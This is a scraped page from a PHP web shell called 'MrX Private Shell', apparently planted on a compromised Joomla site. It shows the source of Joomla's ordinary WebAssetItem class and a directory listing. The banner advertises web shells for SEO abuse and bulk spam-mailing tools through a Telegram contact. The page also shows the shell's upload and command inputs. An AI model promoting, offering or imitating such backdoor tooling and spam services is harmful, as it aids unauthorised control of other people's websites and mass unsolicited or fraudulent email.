__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * Joomla! Content Management System
 *
 * @copyright  (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\CMS\WebAsset;

use Joomla\CMS\HTML\HTMLHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('JPATH_PLATFORM') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Web Asset Item class
 *
 * Asset Item are "read only" object, all properties must be set through class constructor.
 * Only properties allowed to be edited is an attributes and an options.
 * Changing an uri or a dependencies are not allowed, prefer to create a new asset instance.
 *
 * @since  4.0.0
 */
class WebAssetItem implements WebAssetItemInterface
{
    /**
     * Asset name
     *
     * @var    string  $name
     * @since  4.0.0
     */
    protected $name = '';

    /**
     * The URI for the asset
     *
     * @var    string
     * @since  4.0.0
     */
    protected $uri = '';

    /**
     * Additional options for the asset
     *
     * @var    array
     * @since  4.0.0
     */
    protected $options = [];

    /**
     * Attributes for the asset, to be rendered in the asset's HTML tag
     *
     * @var    array
     * @since  4.0.0
     */
    protected $attributes = [];

    /**
     * Asset dependencies
     *
     * @var    string[]
     * @since  4.0.0
     */
    protected $dependencies = [];

    /**
     * Asset version
     *
     * @var    string
     * @since  4.0.0
     */
    protected $version = 'auto';

    /**
     * Class constructor
     *
     * @param   string  $name          The asset name
     * @param   string  $uri           The URI for the asset
     * @param   array   $options       Additional options for the asset
     * @param   array   $attributes    Attributes for the asset
     * @param   array   $dependencies  Asset dependencies
     *
     * @since   4.0.0
     */
    public function __construct(
        string $name,
        string $uri = null,
        array $options = [],
        array $attributes = [],
        array $dependencies = []
    ) {
        $this->name    = $name;
        $this->uri     = $uri;

        if (array_key_exists('version', $options)) {
            $this->version = $options['version'];
            unset($options['version']);
        }

        if (array_key_exists('attributes', $options)) {
            $this->attributes = (array) $options['attributes'];
            unset($options['attributes']);
        } else {
            $this->attributes = $attributes;
        }

        if (array_key_exists('dependencies', $options)) {
            $this->dependencies = (array) $options['dependencies'];
            unset($options['dependencies']);
        } else {
            $this->dependencies = $dependencies;
        }

        $this->options = $options;
    }

    /**
     * Return Asset name
     *
     * @return  string
     *
     * @since   4.0.0
     */
    public function getName(): string
    {
        return $this->name;
    }

    /**
     * Return Asset version
     *
     * @return  string
     *
     * @since   4.0.0
     */
    public function getVersion(): string
    {
        return (string) $this->version;
    }

    /**
     * Return dependencies list
     *
     * @return  array
     *
     * @since   4.0.0
     */
    public function getDependencies(): array
    {
        return $this->dependencies;
    }

    /**
     * Get the file path
     *
     * @param   boolean  $resolvePath  Whether need to search for a real paths
     *
     * @return  string  The resolved path if resolved, else an empty string.
     *
     * @since   4.0.0
     */
    public function getUri($resolvePath = true): string
    {
        $path = $this->uri;

        if ($resolvePath && $path) {
            switch (pathinfo($path, PATHINFO_EXTENSION)) {
                case 'js':
                    $path = $this->resolvePath($path, 'script');
                    break;
                case 'css':
                    $path = $this->resolvePath($path, 'stylesheet');
                    break;
                default:
                    break;
            }
        }

        return $path ?? '';
    }

    /**
     * Get the option
     *
     * @param   string  $key      An option key
     * @param   string  $default  A default value
     *
     * @return mixed
     *
     * @since   4.0.0
     */
    public function getOption(string $key, $default = null)
    {
        if (array_key_exists($key, $this->options)) {
            return $this->options[$key];
        }

        return $default;
    }

    /**
     * Set the option
     *
     * @param   string  $key    An option key
     * @param   string  $value  An option value
     *
     * @return self
     *
     * @since   4.0.0
     */
    public function setOption(string $key, $value = null): WebAssetItemInterface
    {
        $this->options[$key] = $value;

        return $this;
    }

    /**
     * Get all options
     *
     * @return array
     *
     * @since   4.0.0
     */
    public function getOptions(): array
    {
        return $this->options;
    }

    /**
     * Get the attribute
     *
     * @param   string  $key      An attributes key
     * @param   string  $default  A default value
     *
     * @return mixed
     *
     * @since   4.0.0
     */
    public function getAttribute(string $key, $default = null)
    {
        if (array_key_exists($key, $this->attributes)) {
            return $this->attributes[$key];
        }

        return $default;
    }

    /**
     * Set the attribute
     *
     * @param   string  $key    An attribute key
     * @param   string  $value  An attribute value
     *
     * @return self
     *
     * @since   4.0.0
     */
    public function setAttribute(string $key, $value = null): WebAssetItemInterface
    {
        $this->attributes[$key] = $value;

        return $this;
    }

    /**
     * Get all attributes
     *
     * @return array
     *
     * @since   4.0.0
     */
    public function getAttributes(): array
    {
        return $this->attributes;
    }

    /**
     * Resolve path
     *
     * @param   string  $path  The path to resolve
     * @param   string  $type  The resolver method
     *
     * @return string
     *
     * @since  4.0.0
     */
    protected function resolvePath(string $path, string $type): string
    {
        if ($type !== 'script' && $type !== 'stylesheet') {
            throw new \UnexpectedValueException('Unexpected [type], expected "script" or "stylesheet"');
        }

        $file     = $path;
        $external = $this->isPathExternal($path);

        if (!$external) {
            // Get the file path
            $file = HTMLHelper::_(
                $type,
                $path,
                [
                    'pathOnly' => true,
                    'relative' => !$this->isPathAbsolute($path),
                ]
            );
        }

        return $file ?? '';
    }

    /**
     * Check if the Path is External
     *
     * @param   string  $path  Path to test
     *
     * @return  boolean
     *
     * @since   4.0.0
     */
    protected function isPathExternal(string $path): bool
    {
        return strpos($path, 'http://') === 0 || strpos($path, 'https://') === 0 || strpos($path, '//') === 0;
    }

    /**
     * Check if the Path is relative to /media folder or absolute
     *
     * @param   string  $path  Path to test
     *
     * @return  boolean
     *
     * @since   4.0.0
     */
    protected function isPathAbsolute(string $path): bool
    {
        // We have a full path or not
        return strpos($path, '/') !== false && is_file(JPATH_ROOT . '/' . $path);
    }
}

Filemanager

Name Type Size Permission Actions
AssetItem Folder 0775
Exception Folder 0775
WebAssetAttachBehaviorInterface.php File 784 B 0664
WebAssetItem.php File 7.56 KB 0664
WebAssetItemInterface.php File 2.73 KB 0664
WebAssetManager.php File 32.25 KB 0664
WebAssetManagerInterface.php File 2.45 KB 0664
WebAssetRegistry.php File 12.7 KB 0664
WebAssetRegistryInterface.php File 1.82 KB 0664
Filemanager